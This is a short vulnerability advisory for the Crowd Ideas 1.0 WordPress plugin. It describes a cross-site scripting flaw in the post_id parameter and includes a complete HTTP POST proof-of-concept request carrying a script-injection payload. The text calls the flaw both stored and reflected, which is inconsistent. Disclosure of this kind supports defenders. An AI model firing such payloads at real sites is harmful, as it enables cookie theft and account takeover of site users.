Class Input Validation Error
Remote  Yes

Credit Ricardo Sanchez
Vulnerable Crowd Ideas 1.0

Crowd Ideas is prone to a stored cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the value post_id is not filter correctly:


Demo Request POST:

POST //wordpress/wp-content/plugins/crowd-ideas/js/ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie:
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 54

post_id=</script>"><script>alert("R1XS4.COM")</script>